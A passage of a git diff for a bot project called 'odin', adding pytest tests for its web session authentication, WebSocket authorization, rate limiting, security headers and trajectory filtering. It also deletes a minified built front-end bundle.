WebSocketManager(bot, session_manager=sm, web_config=config) + app.router.add_get("/api/ws", ws_manager.handle) + async with TestClient(TestServer(app)) as client: + sid = await login(client, "collision") + assert sm.get_identity(sid).user_id == "static" + response = await client.get("/api/probe", headers={"Authorization": "Bearer collision"}) + assert (await response.json())["user"] == "static" + ws = await client.ws_connect("/api/ws", headers={"Authorization": "Bearer collision"}) + server_ws = next(iter(ws_manager._clients)) + assert server_ws._odin_identity.user_id == "static" + assert server_ws._odin_credential_policy.source == "static" + await ws.close() + await ws_manager.close_all() + + +def test_second_static_credential_same_id_remains_ws_authorized(): + config = WebConfig(api_tokens=[ApiTokenIdentity(token="first", user_id="same"), + ApiTokenIdentity(token="second", user_id="same")]) + bot, _, _ = composition(config) + manager = WebSocketManager(bot, web_config=config) + identity = config.api_tokens[1] + ws = SimpleNamespace(_odin_identity=identity, _odin_credential_policy=_CredentialPolicy( + "static", "same", _policy_fingerprint(identity), 0)) + assert manager._policy_authorized(ws) + + +@pytest.mark.asyncio +async def test_dynamic_session_ws_generation_fenced(tmp_path): + tm = ApiTokenManager(str(tmp_path / "tokens.json")) + raw = (await tm.create_token(user_id="one", username="One", tier="admin")).token + config = WebConfig() + bot, sm, app = composition(config, tm) + manager = WebSocketManager(bot, session_manager=sm, web_config=config) + app.router.add_get("/api/ws", manager.handle) + async with TestClient(TestServer(app)) as client: + sid = await login(client, raw) + ws = await client.ws_connect("/api/ws", headers={"Authorization": f"Bearer {sid}"}) + server_ws = next(iter(manager._clients)) + assert manager._policy_authorized(server_ws) + await tm.regenerate_token(sm.get_identity(sid).user_id) + assert not manager._policy_authorized(server_ws) + await ws.close() + await manager.close_all() + + +def test_http_only_session_count_prunes_expired(monkeypatch): + clock = [0.0] + monkeypatch.setattr("src.health.server.time.monotonic", lambda: clock[0]) + sm = SessionManager(timeout_minutes=1) + sid, _ = sm.create(ApiTokenIdentity(token="one")) + sm.set_auth_source(sid, "static") + clock[0] = 60 + assert sm.active_count == 0 + assert sm.get_identity(sid) is None + assert sm.get_auth_source(sid) is None + + +@pytest.mark.asyncio +@pytest.mark.parametrize("kind", ["redirect", "forbidden", "notfound", "json", "returned"]) +async def test_security_headers_on_all_responses(kind, recwarn): + import json + + from src.health.server import _make_security_headers_middleware + app = web.Application(middlewares=[_make_security_headers_middleware()]) + + async def response(_request): + if kind == "redirect": + raise web.HTTPFound("/other") + if kind == "forbidden": + raise web.HTTPForbidden() + if kind == "notfound": + raise web.HTTPNotFound() + if kind == "json": + raise json.JSONDecodeError("bad", "x", 0) + return web.json_response({"ok": True}) + + app.router.add_get("/", response) + async with TestClient(TestServer(app)) as client: + result = await client.get("/", allow_redirects=False) + for header in ["Content-Security-Policy", "X-Frame-Options", "Referrer-Policy"]: + assert header in result.headers + assert result.status == { + "redirect": 302, "forbidden": 403, "notfound": 404, "json": 400, "returned": 200, + }[kind] + if kind == "redirect": + assert result.headers["Location"] == "/other" + assert not any( + "Returning HTTPException object is deprecated" in str(warning.message) + for warning in recwarn + ) + + +@pytest.mark.asyncio +async def test_security_headers_reraises_original_http_exception(): + from src.health.server import _make_security_headers_middleware + + exception = web.HTTPForbidden(text="denied", headers={"X-Handler": "retained"}) + + async def handler(_request): + raise exception + + with pytest.raises(web.HTTPForbidden) as caught: + await _make_security_headers_middleware()(None, handler) + assert caught.value is exception + assert exception.text == "denied" + assert exception.headers["X-Handler"] == "retained" + assert exception.headers["X-Content-Type-Options"] == "nosniff" + assert exception.headers["X-Frame-Options"] == "DENY" + assert exception.headers["Content-Security-Policy"] + + +@pytest.mark.asyncio +async def test_missing_ui_build_refuses_raw_source(monkeypatch): + from pathlib import Path + + from tests.test_web_campaign_authorization import production_server + original = Path.is_file + monkeypatch.setattr(Path, "is_file", lambda path: False if path.name == "index.html" + and path.parent.name == "dist" else original(path)) + server, _ = production_server() + async with TestClient(TestServer(server._app)) as client: + for path in ["/", "/ui", "/ui/js/app.js"]: + response = await client.get(path) + assert response.status == 503 + assert "npm run build" in await response.text() + + +def test_chat_limit_shared_across_reconnects_and_concurrent_sockets(monkeypatch): + clock = [0.0] + monkeypatch.setattr("src.web.websocket.time.monotonic", lambda: clock[0]) + config = WebConfig(api_tokens=[ApiTokenIdentity(token="one", user_id="same")]) + bot, _, _ = composition(config) + manager = WebSocketManager(bot) + sockets = [SimpleNamespace(_odin_identity=config.api_tokens[0], _odin_client_ip="client") + for _ in range(12)] + for ws in sockets[:10]: + assert not manager._chat_rate_limited(ws) + assert manager._chat_rate_limited(sockets[10]) + assert manager._chat_rate_limited(sockets[11]) + clock[0] = 60 + assert not manager._chat_rate_limited(sockets[0]) + assert len(manager._chat_buckets) == 1 + + +@pytest.mark.asyncio +async def test_reconnected_ws_chat_frames_share_admission(monkeypatch): + from unittest.mock import AsyncMock + + config = WebConfig(api_tokens=[ApiTokenIdentity(token="one", user_id="same")]) + bot, sm, app = composition(config) + manager = WebSocketManager(bot, session_manager=sm, web_config=config) + app.router.add_get("/api/ws", manager.handle) + chat = AsyncMock(return_value={"response": "ok", "tools_used": [], "is_error": False}) + monkeypatch.setattr("src.web.websocket.process_web_chat", chat) + async with TestClient(TestServer(app)) as client: + for _ in range(10): + ws = await client.ws_connect("/api/ws", headers={"Authorization": "Bearer one"}) + await ws.send_json({"type": "chat", "content": "test"}) + assert (await ws.receive_json())["type"] == "chat_response" + await ws.close() + ws = await client.ws_connect("/api/ws", headers={"Authorization": "Bearer one"}) + await ws.send_json({"type": "chat", "content": "test"}) + assert "rate limit exceeded" in (await ws.receive_json())["error"] + await ws.close() + assert chat.await_count == 10 + await manager.close_all() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("source", ["legacy", "static"]) +async def test_removing_last_static_credential_invalidates_existing_session(source): + config = WebConfig(api_token="one") if source == "legacy" else WebConfig( + api_tokens=[ApiTokenIdentity(token="one")]) + _, sm, app = composition(config) + async with TestClient(TestServer(app)) as client: + sid = await login(client, "one") + config.api_token = "" + config.api_tokens = [] + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {sid}"}) + assert response.status == 401 + assert not sm.contains(sid) + + +def test_unicode_webhook_signatures_and_listener_reauthentication(): + from src.config.schema import WebhookConfig + from src.health.server import HealthServer + from src.web.api.config_admin import _listener_admin_current + + server = HealthServer(webhook_config=WebhookConfig(secret="café")) + assert server._verify_hmac_sha256(b"body", "sha256=无效") is False + # Shared-secret header carriers accept exact UTF-8, reject others cleanly. + assert server._verify_shared_secret("café") is True + assert server._verify_shared_secret("无效") is False + config = WebConfig(api_token="café") + bot, _, _ = composition(config) + request = SimpleNamespace(headers={"Authorization": "Bearer café"}) + assert _listener_admin_current(request, bot) + request.headers = {"Authorization": "Bearer 无效"} + assert not _listener_admin_current(request, bot) + + +def test_unicode_computer_session_binding(): + from src.web.computer_binding import browser_binding + + config = WebConfig(api_tokens=[ApiTokenIdentity(token="café", user_id="one")]) + bot, sm, app = composition(config) + sid, _ = sm.create(config.api_tokens[0].model_copy(deep=True)) + sm.set_auth_source(sid, "static") + request = SimpleNamespace(_api_identity=config.api_tokens[0], _session_managed=True, + _session_id=sid, app=app, query={}) + binding = browser_binding(bot, request) + assert binding is not None and binding[1]() + config.api_tokens[0].token = "无效" + assert not binding[1]() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("message,status,outcome", [ + ("Failed to kill PID 123: permission denied", 409, "failed"), + ("Error: retained process evidence is read-only.", 409, "failed"), + ("No process with PID 123.", 404, "failed"), + ("Process 123 already unknown.", 409, "failed"), + ("Process 123 already exited; poll to collect its outcome.", 200, "already_stopped"), + ("Process 123 killed.", 200, "killed"), +]) +async def test_process_kill_reports_acknowledged_outcome(message, status, outcome): + from unittest.mock import AsyncMock + + from src.web.api.agents_loops import register_processes + bot = SimpleNamespace(tool_executor=SimpleNamespace( + _process_registry=SimpleNamespace(kill=AsyncMock(return_value=message)))) + routes = web.RouteTableDef() + register_processes(routes, bot) + app = web.Application() + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.delete("/api/processes/123") + assert response.status == status + data = await response.json() + assert data["outcome"] == outcome + assert data["success"] == (status == 200) diff --git a/tests/test_websocket_production_stack.py b/tests/test_websocket_production_stack.py index 7fe39942e..53a0fd5cc 100644 --- a/tests/test_websocket_production_stack.py +++ b/tests/test_websocket_production_stack.py @@ -9,7 +9,7 @@ import pytest from aiohttp.test_utils import TestClient, TestServer -from src.config.schema import WebConfig +from src.config.schema import ApiTokenIdentity, WebConfig from src.health.server import HealthServer from src.web.websocket import setup_websocket @@ -22,8 +22,10 @@ def _proto(token: str) -> str: def _production_client(): config = WebConfig(api_token="configured-admin-token") server = HealthServer(web_config=config) - identity = SimpleNamespace(user_id="browser-user", tier="admin") + identity = ApiTokenIdentity(token="browser-origin", user_id="browser-user", tier="admin") + config.api_tokens = [identity] sid, _timeout = server._session_manager.create(identity=identity) + server._session_manager.set_auth_source(sid, "static") manager = setup_websocket( server._app, SimpleNamespace(name="odin"), diff --git a/tests/test_webui_selected_trace_filters.py b/tests/test_webui_selected_trace_filters.py new file mode 100644 index 000000000..673c10c4c --- /dev/null +++ b/tests/test_webui_selected_trace_filters.py @@ -0,0 +1,56 @@ +"""Selected daily files must limit matching traces, not unfiltered rows (#527).""" +import json +from types import SimpleNamespace + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.trajectories.saver import TrajectorySaver +from src.web.api.sessions_chat import register_trajectories + + +@pytest.mark.parametrize( + "filters", + [ + {"tool_name": "wanted"}, + {"errors_only": True}, + {"channel_id": "channel"}, + {"user_id": "user"}, + {"tool_name": "wanted", "errors_only": True, "channel_id": "channel", "user_id": "user"}, + ], +) +async def test_selected_file_filters_before_limit(tmp_path, filters): + match = {"message_id": "old-match", "tools_used": ["wanted"], "is_error": True, + "channel_id": "channel", "user_id": "user"} + unrelated = {"message_id": "new-unrelated", "tools_used": ["other"], "is_error": False, + "channel_id": "other", "user_id": "other"} + path = tmp_path / "2026-09-29.jsonl" + path.write_text("\n".join(json.dumps(row) for row in [match] + [unrelated] * 1000) + "\n") + saver = TrajectorySaver(directory=str(tmp_path)) + assert await saver.read_file(path.name, limit=1, **filters) == [match] + assert await saver.read_file(path.name, limit=1) == [unrelated] + assert await saver.read_file(path.name, limit=0, **filters) == [] + + +async def test_selected_file_endpoint_forwards_filters_and_retains_path_guards(tmp_path): + match = {"message_id": "match", "tools_used": ["wanted"], "is_error": True, + "channel_id": "channel", "user_id": "user"} + unrelated = {"message_id": "new", "tools_used": ["other"]} + (tmp_path / "2026-09-29.jsonl").write_text( + json.dumps(match) + "\n" + json.dumps(unrelated) + "\n" + ) + saver = TrajectorySaver(directory=str(tmp_path)) + routes = web.RouteTableDef() + register_trajectories(routes, SimpleNamespace(trajectory_saver=saver)) + app = web.Application() + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.get("/api/trajectories/2026-09-29.jsonl", params={ + "limit": "1", "tool_name": "wanted", "errors_only": "true", + "channel_id": "channel", "user_id": "user", + }) + assert response.status == 200 + assert (await response.json())["entries"] == [match] + response = await client.get("/api/trajectories/bad..jsonl") + assert response.status == 400 diff --git a/tests/test_write_invariant_integration.py b/tests/test_write_invariant_integration.py index 504f2c249..a73966d30 100644 --- a/tests/test_write_invariant_integration.py +++ b/tests/test_write_invariant_integration.py @@ -71,7 +71,7 @@ class TestHappyPath: async def test_completed_turn_settles_and_compacts(self, tmp_path): bot, fake, store = build_with_store( [ - tool_call_response(("parse_time", {"text": "tomorrow 3pm"})), + tool_call_response(("parse_time", {"expression": "tomorrow 3pm"})), text_response("Parsed it."), ], tmp_path, @@ -117,7 +117,7 @@ async def probing_execute(tool_name, tool_input, *, user_id=None): class TestSuspension: async def test_capacity_exhaustion_suspends_with_preserved_work(self, tmp_path): bot, fake, store = build_with_store( - [tool_call_response(("parse_time", {"text": "tomorrow"}))], tmp_path + [tool_call_response(("parse_time", {"expression": "tomorrow"}))], tmp_path ) fake.responses.append(capacity_forever(fake)) @@ -338,16 +338,46 @@ async def test_stop_before_first_iteration_is_terminal_cancelled(self, tmp_path) (status,) = store._conn.execute("SELECT status FROM turns").fetchone() assert status == TurnStatus.TERMINAL_CANCELLED - async def test_stop_during_recovery_wait_is_graceful(self, tmp_path): - bot, fake, store = build_with_store([], tmp_path) - msg = FakeMessage("go") + async def test_stop_during_recovery_wait_is_graceful(self, tmp_path, monkeypatch): + from types import SimpleNamespace - def capacity_and_stop(): - bot.channel_state.cancel_events[str(msg.channel.id)].set() - raise LLMCapacityError("overloaded", retry_after=5.0) + from src.llm import recovery - fake.responses.append(capacity_and_stop) + bot, fake, store = build_with_store([], tmp_path) + msg = FakeMessage("go") + # Provider bookkeeping can exceed FAST_POLICY's 0.2s under coverage. + # Recovery exhaustion is not the subject here: freeze ONLY its owning + # module's clock, leaving asyncio's clock and real cancellation intact. + monkeypatch.setattr(recovery, "time", SimpleNamespace(monotonic=lambda: 100.0)) + real_sleep = recovery._sleep_cancellable + entered_wait = asyncio.Event() + interrupted_wait = asyncio.Event() + + async def stop_during_wait(seconds, cancel_event): + assert cancel_event is bot.channel_state.cancel_events[str(msg.channel.id)] + assert not cancel_event.is_set() + assert seconds == FAST_POLICY.retry_after_cap + + class StopOnWait: + async def wait(self): + entered_wait.set() + # Fire /stop precisely at the cancellation wait's entry, + # not in the provider attempt or after a timing guess. + cancel_event.set() + return await cancel_event.wait() + + try: + await real_sleep(seconds, StopOnWait()) + except asyncio.CancelledError: + interrupted_wait.set() + raise + + monkeypatch.setattr(recovery, "_sleep_cancellable", stop_during_wait) + fake.responses.append(LLMCapacityError("overloaded", retry_after=5.0)) text, _, is_error, *_ = await run_loop(bot, msg) + assert entered_wait.is_set() + assert interrupted_wait.is_set() # real recovery wait propagated /stop + assert len(fake.calls) == 1 # no retry after cancellation assert text.startswith("Task stopped by user.") assert is_error is False (status,) = store._conn.execute("SELECT status FROM turns").fetchone() diff --git a/ui/dist/assets/index-BwvBDkb8.js b/ui/dist/assets/index-BwvBDkb8.js deleted file mode 100644 index 06262fa4f..000000000 --- a/ui/dist/assets/index-BwvBDkb8.js +++ /dev/null @@ -1,7595 +0,0 @@ -var ly=Object.defineProperty;var oy=(e,t,s)=>t in e?ly(e,t,{enumerable:!0,configurable:!0,writable:!0,value:s}):e[t]=s;var Et=(e,t,s)=>oy(e,typeof t!="symbol"?t+"":t,s);(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const n of document.querySelectorAll('link[rel="modulepreload"]'))a(n);new MutationObserver(n=>{for(const i of n)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&a(l)}).observe(document,{childList:!0,subtree:!0});function s(n){const i={};return n.integrity&&(i.integrity=n.integrity),n.referrerPolicy&&(i.referrerPolicy=n.referrerPolicy),n.crossOrigin==="use-credentials"?i.credentials="include":n.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function a(n){if(n.ep)return;n.ep=!0;const i=s(n);fetch(n.href,i)}})();class ry{constructor(){this._persist=localStorage.getItem("odin_persist")==="1",this._token=this._persist?localStorage.getItem("odin_token")||"":sessionStorage.getItem("odin_token")||"";const t=this._persist?localStorage:sessionStorage;this._sessionTimeout=parseInt(t.getItem("odin_session_timeout")||"0",10),this._lastActivity=Date.now(),this._activityTimer=null,this.onSessionExpired=null,this._token&&this._sessionTimeout>0&&this._startActivityMonitor()}get token(){return this._token}get sessionTimeout(){return this._sessionTimeout}setToken(t,s=0){this._token=t,this._sessionTimeout=s,this._lastActivity=Date.now(),t?(this._persist?(localStorage.setItem("odin_token",t),s>0?localStorage.setItem("odin_session_timeout",String(s)):localStorage.removeItem("odin_session_timeout"),localStorage.setItem("odin_persist","1"),sessionStorage.removeItem("odin_token"),sessionStorage.removeItem("odin_session_timeout")):(localStorage.removeItem("odin_persist"),localStorage.removeItem("odin_token"),localStorage.removeItem("odin_session_timeout"),sessionStorage.setItem("odin_token",t),s>0?sessionStorage.setItem("odin_session_timeout",String(s)):sessionStorage.removeItem("odin_session_timeout")),this._startActivityMonitor()):(localStorage.removeItem("odin_persist"),sessionStorage.removeItem("odin_token"),sessionStorage.removeItem("odin_session_timeout"),localStorage.removeItem("odin_token"),localStorage.removeItem("odin_session_timeout"),this._stopActivityMonitor())}setPersist(t){this._persist=t}_startActivityMonitor(){this._stopActivityMonitor(),!(this._sessionTimeout<=0)&&(this._activityTimer=setInterval(()=>{(Date.now()-this._lastActivity)/1e3>=this._sessionTimeout&&(this._stopActivityMonitor(),this.onSessionExpired&&this.onSessionExpired())},1e4))}_stopActivityMonitor(){this._activityTimer&&(clearInterval(this._activityTimer),this._activityTimer=null)}_headers(t={}){const s={"Content-Type":"application/json",...t};return this._token&&(s.Authorization=`Bearer ${this._token}`),s}async _request(t,s,a=null,{signal:n}={}){this._lastActivity=Date.now();const i={method:t,headers:this._headers(),signal:n};a!==null&&(i.body=JSON.stringify(a));const l=await fetch(s,i);if(l.status===401)throw new Eo("Unauthorized");const o=await l.json().catch(()=>null);if(!l.ok){const r=(o==null?void 0:o.error)||`HTTP ${l.status}`;throw new Rc(r,l.status,o)}return o}get(t,s={}){return this._request("GET",t,null,s)}async getBlob(t){this._lastActivity=Date.now();const s=await fetch(t,{method:"GET",headers:this._headers()});if(s.status===401)throw new Eo("Unauthorized");if(!s.ok){const a=await s.json().catch(()=>null);throw new Rc((a==null?void 0:a.error)||`HTTP ${s.status}`,s.status,a)}return s.blob()}post(t,s){return this._request("POST",t,s)}async setListenerExposure(t,s){const a=await fetch("/api/setup/listener",{method:"POST",headers:{"Content-Type":"application/json",Authorization:`Bearer ${t}`},body:JSON.stringify({expose_beyond_loopback:s})}),n=await a.json().catch(()=>null);if(!a.ok)throw new Rc((n==null?void 0:n.error)||"Listener reauthentication failed",a.status,n);return n}put(t,s){return this._request("PUT",t,s)}del(t){return this._request("DELETE",t)}async login(t){const s=await fetch("/api/auth/login",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({token:t})}),a=await s.json().catch(()=>null);if(!s.ok)throw new Eo((a==null?void 0:a.error)||"Login failed");return this.setToken(a.session_id,a.timeout_seconds||0),a}async logout(){const t=this.post("/api/auth/logout",{});this.setToken("");try{await t}catch{}}async check(){try{return await this.get("/api/status"),{ok:!0,needsAuth:!1}}catch(t){return t instanceof Eo?{ok:!1,needsAuth:!0}:{ok:!1,needsAuth:!1,error:t.message}}}}class Eo extends Error{constructor(t){super(t),this.name="AuthError"}}class Rc extends Error{constructor(t,s,a){super(t),this.name="ApiError",this.status=s,this.data=a}}class cy{constructor(t){this._api=t,this._ws=null,this._handlers={logs:[],events:[],chat:[]},this._reconnectDelay=1e3,this._maxReconnectDelay=3e4,this._shouldConnect=!1,this._subscriptions=new Set,this._reconnectAttempt=0,this._reconnectTimer=null,this._lastPongTime=0,this._pingInterval=null,this._forcedRetireTimer=null,this._subscriptionAckTimer=null,this._pendingReconnect=null,this._latency=-1,this._chatPending=!1,this._state="disconnected",this._lifecycle={status:new Set,state:new Set,latency:new Set,reconnected:new Set},this._everConnected=!1,this._reconnectEpoch=0}onStatus(t){return this._addLifecycle("status",t)}onState(t){return this._addLifecycle("state",t)}onLatencyChange(t){return this._addLifecycle("latency",t)}onReconnected(t){return this._addLifecycle("reconnected",t)}_addLifecycle(t,s){return this._lifecycle[t].add(s),()=>{this._lifecycle[t].delete(s)}}_emitLifecycle(t,...s){for(const a of[...this._lifecycle[t]])try{a(...s)}catch{}}get connected(){var t;return((t=this._ws)==null?void 0:t.readyState)===WebSocket.OPEN}get state(){return this._state}get reconnectAttempt(){return this._reconnectAttempt}get latency(){return this._latency}get reconnectEpoch(){return this._reconnectEpoch}_resetLatency(){this._latency=-1,this._emitLifecycle("latency",-1)}connect(){this._shouldConnect=!0,this._setState("connecting"),this._open()}disconnect(){this._shouldConnect=!1,this._everConnected=!1,this._reconnectTimer&&(clearTimeout(this._reconnectTimer),this._reconnectTimer=null),this._forcedRetireTimer&&(clearTimeout(this._forcedRetireTimer),this._forcedRetireTimer=null),this._subscriptionAckTimer&&(clearTimeout(this._subscriptionAckTimer),this._subscriptionAckTimer=null),this._pendingReconnect=null,this._reconnectAttempt=0,this._resetLatency(),this._stopPing(),this._ws&&(this._ws.close(),this._ws=null),this._setState("disconnected")}_setState(t){this._state!==t&&(this._state=t,this._emitLifecycle("state",t,{attempt:this._reconnectAttempt,latency:this._latency}))}_startPing(t){this._stopPing(),this._lastPongTime=Date.now(),this._pingInterval=setInterval(()=>{if(!(this._ws!==t||t.readyState!==WebSocket.OPEN)){if(this._lastPongTime&&Date.now()-this._lastPongTime>47e3){this._beginForcedRetirement(t,"pong timeout");return}try{t.send(JSON.stringify({type:"ping",ts:Date.now()}))}catch{}}},15e3)}_beginForcedRetirement(t,s){if(!(this._ws!==t||this._forcedRetireTimer)){this._stopPing(),this._reconnectAttempt++,this._setState("reconnecting"),this._emitLifecycle("status",!1),this._forcedRetireTimer=setTimeout(()=>{this._forcedRetireTimer=null,this._retireSocket(t,!0,!0)},1e3);try{t.close(4e3,s)}catch{}}}_scheduleReconnect(t=!0){!this._shouldConnect||this._reconnectTimer||(t&&this._reconnectAttempt++,this._setState("reconnecting"),this._reconnectTimer=setTimeout(()=>{this._reconnectTimer=null,this._open()},this._reconnectDelay),this._reconnectDelay=Math.min(this._reconnectDelay*2,this._maxReconnectDelay))}_retireSocket(t,s=!1,a=!1){if(this._ws===t){if(this._forcedRetireTimer&&(clearTimeout(this._forcedRetireTimer),this._forcedRetireTimer=null),this._subscriptionAckTimer&&(clearTimeout(this._subscriptionAckTimer),this._subscriptionAckTimer=null),this._pendingReconnect=null,this._ws=null,this._stopPing(),this._resetLatency(),this._chatPending){this._chatPending=!1;const n={type:"chat_error",error:"Connection lost — the response may still complete; check session history."};for(const i of this._handlers.chat||[])i(n)}s||this._emitLifecycle("status",!1),this._shouldConnect?this._scheduleReconnect(!a):this._setState("disconnected")}}_beginReconnectBarrier(t,s){if(!s)return;const a=new Set(this._subscriptions);if(a.size===0){this._reconnectEpoch+=1,this._emitLifecycle("reconnected",this._reconnectEpoch);return}this._pendingReconnect={socket:t,channels:a},this._subscriptionAckTimer=setTimeout(()=>{var n;((n=this._pendingReconnect)==null?void 0:n.socket)===t&&this._beginForcedRetirement(t,"subscription acknowledgement timeout")},5e3)}_ackSubscription(t,s){const a=this._pendingReconnect;!a||a.socket!==t||!a.channels.has(s)||(a.channels.delete(s),!(a.channels.size>0)&&(this._pendingReconnect=null,this._subscriptionAckTimer&&(clearTimeout(this._subscriptionAckTimer),this._subscriptionAckTimer=null),this._reconnectEpoch+=1,this._emitLifecycle("reconnected",this._reconnectEpoch)))}_stopPing(){this._pingInterval&&(clearInterval(this._pingInterval),this._pingInterval=null)}subscribe(t,s){var a;if(this._handlers[t]||(this._handlers[t]=[]),this._handlers[t].push(s),t!=="chat"&&(this._subscriptions.add(t),this.connected)){const n=this._ws;((a=this._pendingReconnect)==null?void 0:a.socket)===n&&this._pendingReconnect.channels.add(t),n.send(JSON.stringify({subscribe:t}))}}unsubscribe(t,s){const a=this._handlers[t];if(a){const n=a.indexOf(s);if(n>=0&&a.splice(n,1),a.length===0&&t!=="chat"&&(this._subscriptions.delete(t),this.connected)){const i=this._ws;i.send(JSON.stringify({unsubscribe:t})),this._ackSubscription(i,t)}}}on(t,s){return this.subscribe(t,s)}off(t,s){return this.unsubscribe(t,s)}sendChat(t,{channelId:s,userId:a,username:n}={}){return this.connected?(this._ws.send(JSON.stringify({type:"chat",content:t,channel_id:s||"web-default",user_id:a||void 0,username:n||void 0})),this._chatPending=!0,!0):!1}_open(){if(this._ws||!this._shouldConnect)return;const s=`${location.protocol==="https:"?"wss:":"ws:"}//${location.host}/api/ws`,a=this._api.token?["odin.bearer."+btoa(this._api.token).replace(/\+/g,"-").replace(/\//g,"_").replace(/=+$/,"")]:void 0,n=a?new WebSocket(s,a):new WebSocket(s);this._ws=n;const i=()=>this._ws===n;n.onopen=()=>{if(!i())return;const l=this._everConnected;this._everConnected=!0,this._reconnectDelay=1e3,this._reconnectAttempt=0;for(const o of this._subscriptions)n.send(JSON.stringify({subscribe:o}));this._startPing(n),this._setState("connected"),this._emitLifecycle("status",!0),this._beginReconnectBarrier(n,l)},n.onmessage=l=>{if(!i())return;let o;try{o=JSON.parse(l.data)}catch{return}const r=o.type;if(r==="pong"){o.ts&&(this._latency=Date.now()-o.ts,this._lastPongTime=Date.now(),this._emitLifecycle("latency",this._latency));return}if(r==="subscribed"){this._ackSubscription(n,o.channel);return}if(r==="log")for(const c of this._handlers.logs||[])c(o);else if(r==="event")for(const c of this._handlers.events||[])c(o);else if(r==="chat_response"||r==="chat_error"){this._chatPending=!1;for(const c of this._handlers.chat||[])c(o)}},n.onclose=()=>{const l=!!this._forcedRetireTimer;this._retireSocket(n,l,l)},n.onerror=()=>{}}}const z=new ry,mt=new cy(z);/** -* @vue/shared v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/function Xs(e){const t=Object.create(null);for(const s of e.split(","))t[s]=1;return s=>s in t}const ct={},Li=[],vs=()=>{},Ri=()=>!1,li=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&(e.charCodeAt(2)>122||e.charCodeAt(2)<97),Br=e=>e.startsWith("onUpdate:"),lt=Object.assign,Gd=(e,t)=>{const s=e.indexOf(t);s>-1&&e.splice(s,1)},dy=Object.prototype.hasOwnProperty,bt=(e,t)=>dy.call(e,t),Me=Array.isArray,Ni=e=>el(e)==="[object Map]",oi=e=>el(e)==="[object Set]",vp=e=>el(e)==="[object Date]",uy=e=>el(e)==="[object RegExp]",Ve=e=>typeof e=="function",Ze=e=>typeof e=="string",Cs=e=>typeof e=="symbol",ht=e=>e!==null&&typeof e=="object",Wd=e=>(ht(e)||Ve(e))&&Ve(e.then)&&Ve(e.catch),Em=Object.prototype.toString,el=e=>Em.call(e),py=e=>el(e).slice(8,-1),Ur=e=>el(e)==="[object Object]",zr=e=>Ze(e)&&e!=="NaN"&&e[0]!=="-"&&""+parseInt(e,10)===e,en=Xs(",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted"),fy=Xs("bind,cloak,else-if,else,for,html,if,model,on,once,pre,show,slot,text,memo"),Hr=e=>{const t=Object.create(null);return(s=>t[s]||(t[s]=e(s)))},my=/-\w/g,Tt=Hr(e=>e.replace(my,t=>t.slice(1).toUpperCase())),vy=/\B([A-Z])/g,Hs=Hr(e=>e.replace(vy,"-$1").toLowerCase()),ri=Hr(e=>e.charAt(0).toUpperCase()+e.slice(1)),Mi=Hr(e=>e?`on${ri(e)}`:""),os=(e,t)=>!Object.is(e,t),Di=(e,...t)=>{for(let s=0;s{Object.defineProperty(e,t,{configurable:!0,enumerable:!1,writable:a,value:s})},jr=e=>{const t=parseFloat(e);return isNaN(t)?e:t},rr=e=>{const t=Ze(e)?Number(e):NaN;return isNaN(t)?e:t};let hp;const qr=()=>hp||(hp=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof global<"u"?global:{});function hy(e,t){return e+JSON.stringify(t,(s,a)=>typeof a=="function"?a.toString():a)}const gy="Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt,console,Error,Symbol",by=Xs(gy);function ro(e){if(Me(e)){const t={};for(let s=0;s{if(s){const a=s.split(xy);a.length>1&&(t[a[0].trim()]=a[1].trim())}}),t}function co(e){let t="";if(Ze(e))t=e;else if(Me(e))for(let s=0;snn(s,t))}const Om=e=>!!(e&&e.__v_isRef===!0),Lm=e=>Ze(e)?e:e==null?"":Me(e)||ht(e)&&(e.toString===Em||!Ve(e.toString))?Om(e)?Lm(e.value):JSON.stringify(e,Nm,2):String(e),Nm=(e,t)=>Om(t)?Nm(e,t.value):Ni(t)?{[`Map(${t.size})`]:[...t.entries()].reduce((s,[a,n],i)=>(s[Ic(a,i)+" =>"]=n,s),{})}:oi(t)?{[`Set(${t.size})`]:[...t.values()].map(s=>Ic(s))}:Cs(t)?Ic(t):ht(t)&&!Me(t)&&!Ur(t)?String(t):t,Ic=(e,t="")=>{var s;return Cs(e)?`Symbol(${(s=e.description)!=null?s:t})`:e};function My(e){return e==null?"initial":typeof e=="string"?e===""?" ":e:String(e)}/** -* @vue/reactivity v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/let as;class Kd{constructor(t=!1){this.detached=t,this._active=!0,this._on=0,this.effects=[],this.cleanups=[],this._isPaused=!1,this._warnOnRun=!0,this.__v_skip=!0,!t&&as&&(as.active?(this.parent=as,this.index=(as.scopes||(as.scopes=[])).push(this)-1):(this._active=!1,this._warnOnRun=!1))}get active(){return this._active}pause(){if(this._active){this._isPaused=!0;let t,s;if(this.scopes)for(t=0,s=this.scopes.length;t0&&--this._on===0){if(as===this)as=this.prevScope;else{let t=as;for(;t;){if(t.prevScope===this){t.prevScope=this.prevScope;break}t=t.prevScope}}this.prevScope=void 0}}stop(t){if(this._active){this._active=!1;let s,a;for(s=0,a=this.effects.length;s0)return;if(Ll){let t=Ll;for(Ll=void 0;t;){const s=t.next;t.next=void 0,t.flags&=-9,t=s}}let e;for(;Ol;){let t=Ol;for(Ol=void 0;t;){const s=t.next;if(t.next=void 0,t.flags&=-9,t.flags&1)try{t.trigger()}catch(a){e||(e=a)}t=s}}if(e)throw e}function $m(e){for(let 